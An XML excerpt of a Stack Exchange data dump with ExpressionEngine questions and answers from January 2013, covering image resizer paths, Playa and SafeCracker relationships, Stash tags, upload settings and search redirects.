  <row Id="5548" PostTypeId="2" ParentId="5537" CreationDate="2013-01-29T20:00:48.917" Score="6" Body="&lt;p&gt;There is a setting under &lt;strong&gt;Admin &amp;rarr; Channel Administration &amp;rarr; Channels &amp;rarr; Edit Preferences&lt;/strong&gt; - under the &lt;strong&gt;Comment Posting Preferences&lt;/strong&gt; header - for &lt;strong&gt;Comment Expiration&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a number of days there, and tick the box for &quot;Update all existing comments with this setting&quot; (which should more accurately read &quot;existing &lt;em&gt;entries&lt;/em&gt;&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uuxU9.png&quot; alt=&quot;Screenshot of setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear this won't close all &lt;em&gt;comments&lt;/em&gt;, but remove the &lt;em&gt;ability to comment&lt;/em&gt; on all entries which fit the criteria. (Your question uses the phrase &quot;close comments&quot; but I'm pretty sure you don't actually want to &lt;em&gt;remove&lt;/em&gt; the old comments?)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-29T20:34:07.803" LastActivityDate="2013-01-29T20:34:07.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5549" PostTypeId="1" AcceptedAnswerId="7532" CreationDate="2013-01-29T20:17:38.367" Score="2" ViewCount="223" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2 and I'm having trouble getting my ed_imageresizer to work on my second site, setup through Multisite Manager. ed_imageresizer is installed and working on my primary site, however, when I try to use it on my second site, I see broken images where the resized image should be. In my system's config.php file, I have the paths to my first site setup correctly (these are paths located on my local environment): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ed_server_path'] = '/Users/cplaptop/Sites/site1/html/';&#xA;$config['ed_cache_path'] = '/Users/cplaptop/Sites/site1/html/images/resizer_cache/'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template, I am including the ed_imageresizer code to find the image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ed_imageresizer&#xA;image=&quot;{image}&quot;&#xA;maxWidth=&quot;400&quot;&#xA;cropratio=&quot;400:225&quot;&#xA;quality=&quot;100&quot; &#xA;alt=&quot;Portfolio Artwork&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried swapping out those paths just to test if they are directing anything to the second site like this (which didn't work):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ed_server_path'] = '/Users/cplaptop/Sites/site2/html/';&#xA;$config['ed_cache_path'] = '/Users/cplaptop/Sites/site2/html/images/resizer_cache/'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try directing the plugin to the second site, in my browser I no longer see broken images, I just don't see anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried the suggestion found &lt;a href=&quot;http://devot-ee.com/add-ons/support/ed-imageresizer/viewthread/2737&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to create a conditional in my config.php, but I haven't been able to get that to work. When I try using conditionals, here is the code that I'm using in my config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$host = $_SERVER[‘HTTP_HOST’];&#xA;if($host == ‘domain.com’ or $host == ‘www.domain.com’) {&#xA;$config[‘ed_server_path’] = ‘/Users/cplaptop/Sites/site1/html/’; // Server path to        your site’s web root&#xA;$config[‘ed_cache_path’] = ‘/Users/cplaptop/Sites/site1/html/images/resizer_cache/’; // Server path to where your resized images should be stored&#xA;}&#xA;&#xA;$host = $_SERVER[‘HTTP_HOST’];&#xA;if($host == ‘domain.com’ or $host == ‘www.domain.com’) {&#xA;$config[‘ed_server_path’] = ‘/Users/cplaptop/Sites/site2/html/’; // Server path to        your site’s web root&#xA;$config[‘ed_cache_path’] = ‘/Users/cplaptop/Sites/site2/html/images/resizer_cache/’; // Server path to where your resized images should be stored&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing anything here? When I try this route, neither my primary or secondary sites show images. I'm willing to try any way that works, so all suggestions are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2013-03-20T11:06:29.027" Title="ed_imageresizer not working with second site in Multisite Manager" Tags="|multi-site-manager|config|image-path|" AnswerCount="3" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5550" PostTypeId="2" ParentId="5500" CreationDate="2013-01-29T21:07:38.127" Score="2" Body="&lt;p&gt;Figured this out today. We were using relative server and URL paths in the file upload preference settings. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server Path: /websites/domain.com/uploads/&#xA;URL: /uploads/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After changing them to absolute paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Server Path: E:/websites/domain.com/uploads/&#xA;URL: http://www.domain.com/uploads/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works properly. We never had problems previously with the relative paths, though, so something must have changed in the latest version.&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-01-29T21:07:38.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5551" PostTypeId="2" ParentId="5491" CreationDate="2013-01-29T22:01:56.280" Score="1" Body="&lt;p&gt;A day later and now I can reproduce it - not quite sure why I couldn't yesterday.  Reporting this as a bug now.  Thank you Lea!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] Last edit: this bug is now fixed in Assets 2.0.4. (&lt;a href=&quot;http://pixelandtonic.com/assets/releasenotes&quot; rel=&quot;nofollow&quot;&gt;Release Notes)&lt;/a&gt;.  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2013-01-31T20:14:17.917" LastActivityDate="2013-01-31T20:14:17.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5552" PostTypeId="1" AcceptedAnswerId="5554" CreationDate="2013-01-29T22:14:09.957" Score="1" ViewCount="89" Body="&lt;p&gt;Is there a method for getting a Structure page’s position in relation to its siblings via Global Variable, etc.? I’m currently building a class management interface for a client, and instead of using Playa to create relationships to “parent” entries, I’m instead using Structure, for ease of use for the client. However, they want to take a tree such as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unit Name&#xA;&#xA;- Task Name&#xA;  - Segment Name&#xA;  - Segment Name&#xA;&#xA;- Task Name&#xA;  - Segment Name&#xA;  - Segment Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a result, I want to be able to automatically add the task and segment's position in relation to its siblings, so that on the front end, I could display the following tree:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unit Name&#xA;&#xA;- Task A - Task Name&#xA;  - Segment A1 - Segment Name&#xA;  - Segment A2 - Segment Name&#xA;&#xA;- Task B - Task Name&#xA;  - Segment B1 - Segment Name&#xA;  - Segment B2 - Segment Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line of thinking will be that the letter for the task will be converted using a string plugin, and then the Segment will use a number, appended to the Task’s letter.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-30T01:50:53.303" Title="Can I get a Structure page’s position in relation to its siblings?" Tags="|structure|navigation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5553" PostTypeId="1" AcceptedAnswerId="5558" CreationDate="2013-01-29T23:10:41.037" Score="3" ViewCount="103" Body="&lt;p&gt;This isn’t a code question - yet - but here’s a quick overview of my setup so that you have some context:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;Freeform 4.0.08&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a template that includes a form. The template displays an individual person’s information, which is held in an EE channel entry (one entry per person). There are upwards of 20 people whose information is displayed via this particular template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the person whose information is currently displayed, to receive any notifications that a user may send in using the form on the page. I have an EE channel field, {lo_email}. As long as the Freeform tag is contained within the exp:channel:entries tag, can I use that fieldname in the Freeform tag, to target the person receiving notifications from the form? Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form admin_notify=&quot;{lo_email}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I haven’t tried this yet - but this needs to get done quickly, so I thought I’d ask if this is possible before doing some template restructuring on this site that I’ve inherited.)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-01-30T02:18:49.133" Title="Can I use EE fieldnames in Freeform form tag?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5554" PostTypeId="2" ParentId="5552" CreationDate="2013-01-29T23:43:26.707" Score="1" Body="&lt;p&gt;I had the crazy idea to assign entries to Structure pages so they could be associated with multiple pages like...Categories. Jack McDade helped with a Structure Categories plugin, and he ended up putting together some code that let me do Level 1, Level 2, etc cases so that I could format nested nav chunks distinctly. I can share that or point you to Jack if you'd like to go that route. Not sure it would do the loop, but Jack might be able to sort that out for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification: Jack created some custom Structure tags for us that let us nest Structure tags at each level, to format nested output specifically for each level. I'm suggesting you book him to address your goals and enable you to work in a loop with custom output. &lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-30T01:50:53.303" LastActivityDate="2013-01-30T01:50:53.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5555" PostTypeId="1" CreationDate="2013-01-30T01:40:53.153" Score="6" ViewCount="170" Body="&lt;p&gt;I am planning to make a recipe channel (yes food/meal recipes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would require an ingredient list. I plan to create a matrix field with rows for each ingredient. This matrix would have a qualtity column (i.e &quot;1 tblsp&quot;) and a ingredient column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish for the ingredient field in the row to be a relationship selection (e.g playa) so that we can maintain a list of ingredients, and it also would allow us to see all recipes that use a particular ingredient. The reason why ingredients need their own channel is because many ingredients will have meta data around them because they are sponsored and may have a link associated where a person could buy that ingredient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you go about enabling people to create a NEW ingredient while building the recipe without breaking the workflow? Many times I expect the ingredient to exist but not until many recipes have been data entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love a modal inline safecracker form to popup to submit the ingredient entry but am not sure if playa has a js trigger for selecting a 'new' option in the playa list.&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="268" LastEditDate="2013-01-30T08:17:26.843" LastActivityDate="2013-01-30T08:17:26.843" Title="Creating a related entry inline from another publish screen" Tags="|add-on|safecracker|playa|related-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5556" PostTypeId="2" ParentId="5555" CreationDate="2013-01-30T01:47:59.013" Score="2" Body="&lt;p&gt;You could use the Instructions for your field to link to the Publish page for your Ingredients channel in a new window, but you would have to refresh the current entry page to see the new entry, which would lose any edits you made. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe have a frame in the new window with a close button that triggers a save in the original window and then redirects back to the entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Safecracker, you could do the new entry in a modal frame/lightbox and have more programmatic control over refreshing the original form. &lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-30T01:47:59.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5557" PostTypeId="1" CreationDate="2013-01-30T02:04:50.110" Score="1" ViewCount="342" Body="&lt;p&gt;Going crazy here - I can't get any results to display in exp:playa:parents when specifying a particular channel. If I don't include the channel= parameter I get a result from another channel which is correct, but when specifying the channel I want I get no results, despite being able to see in the CP that they are related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No custom statuses involved for either parent or child channel. Playa 4.3.3 and EE 2.5.5 I've tried specifying the entry_id for a particular entry I want the parents of and still get nothing. What could be going wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Ok, I've figured out it's only for parent entries that are created with safecracker. In the CP, if I open an entry created with safecracker and save it, the entry appears in the list of parents. So it's a playa/safecracker issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: Hi Lisa! Thanks for your help. This has changed so much I've completely changed the title. Important thing I should have mentioned: I'm using the playa as a hidden field method in safecracker as described here: &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/sending_playa_field_value_hidden_in_safecracker&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/sending_playa_field_value_hidden_in_safecracker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my field in safecracker looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;cm_community[selections][]&quot; value=&quot;{exp:url_title_to_entry_id url_title='{segment_3}'}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I'm using a plugin to get the entry id from a urltitle in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go into the CP, the correct entry is selected in the Playa field, which is why I thought the relationships were being created but I don't think they are. If I just open the entry and save it I see this in the 'View Entry' screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[18026] [double-bay] Double Bay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is the entry id, url title and Title of the entry I assigned in the Playa field, and also makes me think the relationship exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I open the entry in the CP, use the Playa select input to choose that entry (that already appears to be chosen) and save, the relationship is 'properly' created and I can see it on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll paste my template code as well though I don't think that's the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;community_messages&quot; field=&quot;cm_community&quot; limit=&quot;1&quot;}&#xA;&#xA;    {if no_parents}&amp;lt;p&amp;gt;No messages.&amp;lt;/p&amp;gt;{/if}&#xA;&#xA;    &amp;lt;div class=&quot;cm&quot;&amp;gt;&#xA;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;        {cm_message}&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Adding full safecracker code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;community_messages&quot; return=&quot;communities/{segment_2}/messages/&quot; author_only=&quot;yes&quot; include_jquery=&quot;no&quot;}&#xA;&#xA;&amp;lt;label for=&quot;title&quot;&amp;gt;Message Title&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;cm_message&quot;&amp;gt;Message Content&amp;lt;/label&amp;gt;&#xA;{field:cm_message}&#xA;&#xA;{if '{segment_4}'!='edit'}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cm_community[selections][]&quot; value=&quot;{exp:url_title_to_entry_id url_title='{segment_2}'}&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Post&quot;&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="763" LastEditorUserId="763" LastEditDate="2013-02-08T06:51:05.377" LastActivityDate="2013-02-08T06:51:05.377" Title="Playa hidden field with safecracker not (completely?) creating relationships" Tags="|safecracker|playa|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5558" PostTypeId="2" ParentId="5553" CreationDate="2013-01-30T02:18:49.133" Score="3" Body="&lt;p&gt;Absolutely, this should work. I've done this frequently on a more complex scale, using channel entries to offer customizable Freeform forms for clients.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-30T02:18:49.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5559" PostTypeId="1" AcceptedAnswerId="5564" CreationDate="2013-01-30T03:05:41.563" Score="1" ViewCount="229" Body="&lt;p&gt;I'm having a bit of an issue in repurposing a functioning template of mine. I have a &lt;code&gt;{exp:stash:set}&lt;/code&gt; and &lt;code&gt;{stash:get tag}&lt;/code&gt;, both of which worked on the previous template, but on this new template which is on a Structure page one segment deeper, I seem to be having problems with the &lt;code&gt;{exp:stash:get}&lt;/code&gt; not returning anything, though the set tag works just fine with &lt;code&gt;output='yes'&lt;/code&gt; set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;segment_entry&quot; type='snippet' parse_tags=&quot;yes&quot;}&#xA;  {exp:playa:parents url_title=&quot;{freebie_6}&quot; channel=&quot;segment_discussions&quot;}&#xA;    {entry_id}&#xA;  {/exp:playa:parents}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:entries&#xA;    channel=&quot;segment_discussions&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    limit=&quot;1&quot;&#xA;    entry_id=&quot;{exp:stash:get name='segment_entry' type='snippet'}&quot;&#xA;    parse=&quot;inward&quot;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’ve tested to see if the problem was the get tag being inside of the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag, but unfortunately, that doesn't seem to have any effect. Is there anything else I’m missing that could cause this to no longer function? channel name obviously is correct, as I previously mentioned that &lt;code&gt;output='yes'&lt;/code&gt; was working just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, here is the whole template, with content of other switchee cases removed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}{redirect=&quot;account/login&quot;}{/if}&#xA;{if group_id == '4'}{redirect=&quot;account/pending&quot;}{/if}&#xA;&#xA;{exp:switchee variable=&quot;{freebie_4}&quot; parse=&quot;inward&quot;}&#xA;  {case default=&quot;yes&quot;}&#xA;  [[Unrelated Content]]&#xA;  {/case}&#xA;&#xA;  {case value=&quot;discussion&quot;}&#xA;    {switchee variable=&quot;{freebie_5}&quot; parse=&quot;inward&quot;}&#xA;      {case value=&quot;thread&quot;}&#xA;        {embed=&quot;embeds/_header&quot;}&#xA;&#xA;        {exp:stash:set name=&quot;segment_entry&quot; type='snippet' parse_tags=&quot;yes&quot;}&#xA;          {exp:playa:parents url_title=&quot;{freebie_6}&quot; channel=&quot;segment_discussions&quot;}&#xA;            {entry_id}&#xA;          {/exp:playa:parents}&#xA;        {/exp:stash:set}&#xA;&#xA;        {exp:channel:entries&#xA;            channel=&quot;segment_discussions&quot;&#xA;            disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;            limit=&quot;1&quot;&#xA;            entry_id=&quot;{exp:stash:get name='segment_entry' type='snippet'}&quot;&#xA;            parse=&quot;inward&quot;&#xA;          }&#xA;&#xA;            &amp;lt;section class=&quot;unit&quot;&amp;gt;&#xA;&#xA;            {embed=&quot;unit/_navigation&quot;}&#xA;&#xA;            &amp;lt;/section&amp;gt;&#xA;&#xA;            &amp;lt;section class=&quot;discussion&quot;&amp;gt;&#xA;&#xA;              &amp;lt;div class=&quot;main-content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;header&amp;gt;&#xA;&#xA;                  &amp;lt;h3&amp;gt;DISCUSSION: {title}&amp;lt;/h3&amp;gt;&#xA;&#xA;                  &amp;lt;h4&amp;gt;{comment_total} Comment{if comment_total &amp;lt;&amp;gt; 1}s{/if}&amp;lt;/h4&amp;gt;&#xA;&#xA;                &amp;lt;/header&amp;gt;&#xA;&#xA;                &amp;lt;article&amp;gt;&#xA;&#xA;                  {segment_discussion_body}&#xA;                  {exp:channel_files:files entry_id=&quot;{entry_id}&quot;}&#xA;                    {if file:count == &quot;1&quot;}&amp;lt;ul&amp;gt;{/if}&#xA;                    &amp;lt;li&amp;gt;{file:title}: &amp;lt;a href=&quot;{file:url}&quot;&amp;gt;{file:filename} ({file:filesize})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {if file:count == file:total}&amp;lt;/ul&amp;gt;{/if}&#xA;                  {/exp:channel_files:files}&#xA;                &amp;lt;/article&amp;gt;&#xA;&#xA;              &amp;lt;/div&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&#xA;              &amp;lt;div class=&quot;discussion-items&quot;&amp;gt;&#xA;&#xA;&#xA;              &amp;lt;/div&amp;gt; &amp;lt;!-- discussion-items --&amp;gt;&#xA;&#xA;            &amp;lt;/section&amp;gt;&#xA;&#xA;&#xA;        {embed=&quot;embeds/_footer&quot;}&#xA;      {/case}&#xA;    {/switchee}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34" LastEditorUserId="34" LastEditDate="2013-01-30T04:11:46.610" LastActivityDate="2013-01-30T08:24:53.727" Title="Stash Get not getting, but Stash Set output=&quot;yes&quot; shows data?" Tags="|stash|playa|switchee|freebie|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5560" PostTypeId="1" CreationDate="2013-01-30T06:36:55.237" Score="2" ViewCount="58" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/286/how-can-i-find-out-which-add-on-is-sending-a-message-to-the-developer-log&quot;&gt;How can I find out which add-on is sending a message to the developer log?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have this message in my Developer log about some Add-on using &quot;login_form()&quot; function. When I search through all my Add-ons this function is nowhere to be seen :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I remove this message? Keeps popin' up every 2-3 day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it's complaining on &quot;row 0&quot;? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot of error: &lt;a href=&quot;https://i.stack.imgur.com/vPEuO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/vPEuO.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-30T10:44:21.690" Title="Any idea on how to debugg this &quot;Developer log&quot; alert message?" Tags="|developer-log|" AnswerCount="2" CommentCount="1" ClosedDate="2013-02-01T19:32:18.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="5561" PostTypeId="1" AcceptedAnswerId="5562" CreationDate="2013-01-30T07:08:40.083" Score="0" ViewCount="61" Body="&lt;p&gt;I want to delete an empty upload destination in ExpressionEngine, but can't find the appropriate option. Would be grateful if someone knowledgeable could point out the button I should click to get rid of the upload destination I don't need. &lt;/p&gt;&#xA;" OwnerUserId="905" LastActivityDate="2013-01-30T07:21:05.287" Title="How to Delete an Upload Destination?" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5562" PostTypeId="2" ParentId="5561" CreationDate="2013-01-30T07:21:05.287" Score="4" Body="&lt;p&gt;Just goto the Content menu &gt; Files &gt; File Upload Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will list the upload destinations. Then to the far right of the list, you will see a delete column, just click the Trash icon for the destination you want to delete. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will delete the destination in EE but not the folder containing the files.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-01-30T07:21:05.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5563" PostTypeId="2" ParentId="5560" CreationDate="2013-01-30T07:31:32.147" Score="0" Body="&lt;p&gt;This error is an absolute pain, debugging it is not easy at least in my experience. What addons do you have running, that maybe a better way to tackle this. In particular we are interested in anything that hasn't had an update in the last 12 months or so.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2013-01-30T07:31:32.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5564" PostTypeId="2" ParentId="5559" CreationDate="2013-01-30T08:24:53.727" Score="2" Body="&lt;p&gt;So the grand and magnificent Mark Croxton let me know that the problem in this example is my use of line breaks, which are being passed into the parameter values and choking EE. I removed them from the template, but he also said that either &lt;code&gt;{exp:stash:set}&lt;/code&gt; or &lt;code&gt;{exp:stash:get}&lt;/code&gt; could have the paramater &lt;code&gt;trim=&quot;yes&quot;&lt;/code&gt; added to it to clear out the extra whitespace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, collapsing it to one line fixed it all.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-30T08:24:53.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5565" PostTypeId="2" ParentId="5521" CreationDate="2013-01-30T09:29:43.690" Score="2" Body="&lt;p&gt;Okay, shame on me. The solution is so simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DevDemon Support pointed out, that all the Text Formating options are in the «pilcrow sign» Button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tn7it.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-01-30T09:29:43.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5566" PostTypeId="1" AcceptedAnswerId="8904" CreationDate="2013-01-30T09:44:42.530" Score="0" ViewCount="261" Body="&lt;p&gt;Everything was working fine, &#xA;Till suddenly &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;dynamic&lt;/a&gt; and classic &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/index.html#advanced-search-form&quot; rel=&quot;nofollow&quot;&gt;search&lt;/a&gt; refers to homepage url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search refers to template result_page=&quot;search/results&quot; but instead it goes to homepage (www.site.com) instead of www.site.com/search/results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing i have tried to figure this out is to remove the .htaccess but it didn't change anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second i made a new template to test this, used the example in EE user guide but the results also takes me back to the homepage instead of www.site.com/search/results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a server problem as i have a similar copy of the website on the same server and there it works fine&#xA;The only difference between both sites is transcribe. &#xA;But i'm not sure that is related. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should i go ahead and debug this to make it go to the result_page=&quot;search/results&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="879" LastEditorUserId="879" LastEditDate="2013-01-30T13:52:56.877" LastActivityDate="2013-04-02T11:30:04.197" Title="Search refer to homepage" Tags="|search|transcribe|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5567" PostTypeId="1" AcceptedAnswerId="5570" CreationDate="2013-01-30T09:52:35.513" Score="0" ViewCount="159" Body="&lt;p&gt;So I'm attempting to create a small plugin/module where I can log in a user with the need to have a password, login with Facebook basically (Yes, I know there is a plugin that does all this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at this thread -&gt; &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2413/cant-programmatically-log-member-in&quot;&gt;Can&amp;#39;t programmatically log member in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is all that I need to do to log a person in, is to call the create_new_session() function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find any decent documentation on this. Any help or references would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="816" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-01-30T10:20:37.880" Title="Login User without a password" Tags="|login|plugin|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
